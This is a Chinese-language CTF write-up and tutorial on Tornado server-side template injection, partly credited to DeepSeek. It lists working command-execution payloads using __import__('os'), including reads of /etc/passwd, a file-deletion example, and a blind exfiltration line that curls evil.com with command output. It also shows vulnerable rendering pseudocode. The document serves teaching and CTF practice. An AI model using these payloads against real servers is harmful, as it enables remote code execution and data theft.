Tornado SSTI
Write Up
这道题我按照官方wp没成功,怀疑是现在不支持堆叠注入了,只注入一段代码却成功了
寻找注入点的过程不再赘述,推测伪代码:
|
|
Tornado
和ERB
都可以直接写入python或ruby代码,不用像jinja2
一样到处找,通过
__import('os').system('')
这个python代码直接调用system,payload:
|
|
Tornado 相关知识点(来自deepseek)
接下来系统地介绍 Tornado 模板的核心语法以及它在 SSTI 题目中的独特特点和利用技巧。
一、Tornado 模板核心语法
标签很多,我看着在CTF中好用的有下面几个,跟ERB很像:
标签 | 名称 | 作用 | 示例 |
---|---|---|---|
{{ .. }} |
表达式 | 计算其中的 Python 表达式并将其结果输出到 HTML 中。 | {{ user.name }} , {{ 1+1 }} |
{% .. %} |
语句块 | 执行其中的 Python 语句,用于控制流、定义等,不直接输出内容。 | {% if %} , {% for %} , {% import %} , {% set %} |
{% include ... %} |
包含 | 将另一个模板文件的内容包含进来。 | {% include "header.html" %} |
关键特性:
- 强大的表达式:
{{ }}
中几乎可以执行任何有效的 Python 表达式,这是其与 Jinja2 等引擎的最大区别,也是 SSTI 利用的基础。 - 自动转义:默认开启,对
{{ }}
输出的变量进行 HTML 转义,防止 XSS。
二、SSTI 题目中的特点与利用技巧
Tornado 的 SSTI 因其强大的表达能力而显得非常直接,这既是其特点,也决定了其利用方式。
特点 1: 利用直接,无需复杂绕过
- 与 Jinja2 对比:在 Jinja2 中,由于沙盒和环境限制,你需要费尽心思地寻找内置类、子类、属性遍历来达到命令执行的目的(如
{{ ''.__class__.__mro__[1].__subclasses__()... }}
)。 - Tornado 方式:在 Tornado 中,你通常可以直接执行 Python 代码。如果目标是执行命令,最直接的路径就是导入
os
模块。- Payload 示例:
或者分步执行(使用语句块):
1
{{ __import__("os").system("whoami") }}
1
{% import os %}{{ os.system("whoami") }}
- Payload 示例:
特点 2: 两种标签的利用 ({{ }}
和 {% %}
)
理解两者的区别至关重要,这决定了你的 payload 结构。
场景 | 使用标签 | Payload 示例 | 说明 |
---|---|---|---|
执行并获取输出 | {{ }} |
{{ __import__("os").popen("id").read() }} |
popen().read() 会返回命令输出,需要用 {{ }} 来显示。 |
执行盲注命令 | {{ }} 或 {% %} |
{{ __import__("os").system("rm file") }} 或 {% import os %}{% os.system("rm file") %} |
system() 只返回状态码。用 {{ }} 会看到返回值(如 0 ),用 {% %} 则无回显。 |
仅为后续做准备 | {% %} |
{% import os %}{% set x = "malicious" %} |
像 import , set 这样的语句没有返回值,必须放在 {% %} 中。 |
特点 3: 漏洞代码模式
在 SSTI 题目中,触发 Tornado SSTI 的代码通常有以下模式:
-
字符串拼接渲染(最常见):
1 2 3 4
# 伪代码:将用户输入直接拼接到模板字符串中 malicious_input = get_user_input() # 例如:user.name}}{{PAYLOAD}} template_string = "{{ " + malicious_input + " }}" output = tornado.template.Template(template_string).generate()
你的 payload 需要先闭合原来的表达式(
user.name}}
),然后再开始你的攻击代码({{PAYLOAD}}
)。 -
可控模板文件名(较少见):
1 2 3
# 伪代码:用户控制渲染的模板文件名 template_name = get_user_controlled_filename() # 例如:../../etc/passwd self.render(template_name)
这可能导致路径遍历和敏感文件读取,不属于典型的 SSTI,但也是模板相关的漏洞。
特点 4: 利用技巧和注意事项
-
空格处理:在系统命令中,空格有时会被错误解析。可以使用
+
代替或使用 Python 字符串函数处理。{{ __import__("os").system("cat+/etc/passwd") }}
{{ __import__("os").system("cat /etc/passwd".replace(" ", "+")) }}
-
Python 2 vs Python 3:注意靶场环境。你的错误信息显示是 Python 2.7,所有 payload 必须与其语法兼容。
-
无回显攻击(盲注):如果命令执行没有回显,可以尝试:
- 延时:
{{ __import__("time").sleep(5) }}
(如果页面5秒后响应,说明执行成功)。 - DNS 外带:
{{ __import__("os").system("curl evil.com?$(whoami)") }}
(将命令结果通过 DNS 或 HTTP 请求带出)。 - 写入文件:
{{ __import__("os").system("whoami > /tmp/result.txt") }}
然后尝试读取该文件。
- 延时:
-
权限考虑:Web 服务进程(如
www-data
用户)权限可能较低,需要选择其有权执行的命令。
总结:Tornado SSTI 利用流程
核心思想:Tornado SSTI 的本质是借助 {{ }}
和 {% %}
标签,将模板引擎作为了一个 Python 代码解释器。利用过程就是如何在这个解释器中注入有效的 Python 代码来达到你的目的(命令执行、文件读取等)。由于其支持原生 Python,所以利用起来比很多其他模板引擎都更加直接和强大。
同Mako
Mako 和 Tornado 的模板引擎在 SSTI 漏洞利用上非常类似,它们都属于“直接且强大”的类型,与 Jinja2 等受限的引擎形成鲜明对比。
它们相似的核心原因在于:两者都允许在模板中执行几乎任意的 Python 代码。
Mako 和 Tornado 在 SSTI 利用上是“姊妹”关系,它们的利用哲学和威力几乎一模一样。最大的区别只是语法标签的不同(${}
vs {{ }}
, <% %>
vs {% %}
)。一旦
识别出目标是 Mako 模板,就可以运用和 Tornado 相同的直接代码执行思路来利用它,这比对付 Jinja2 要简单得多。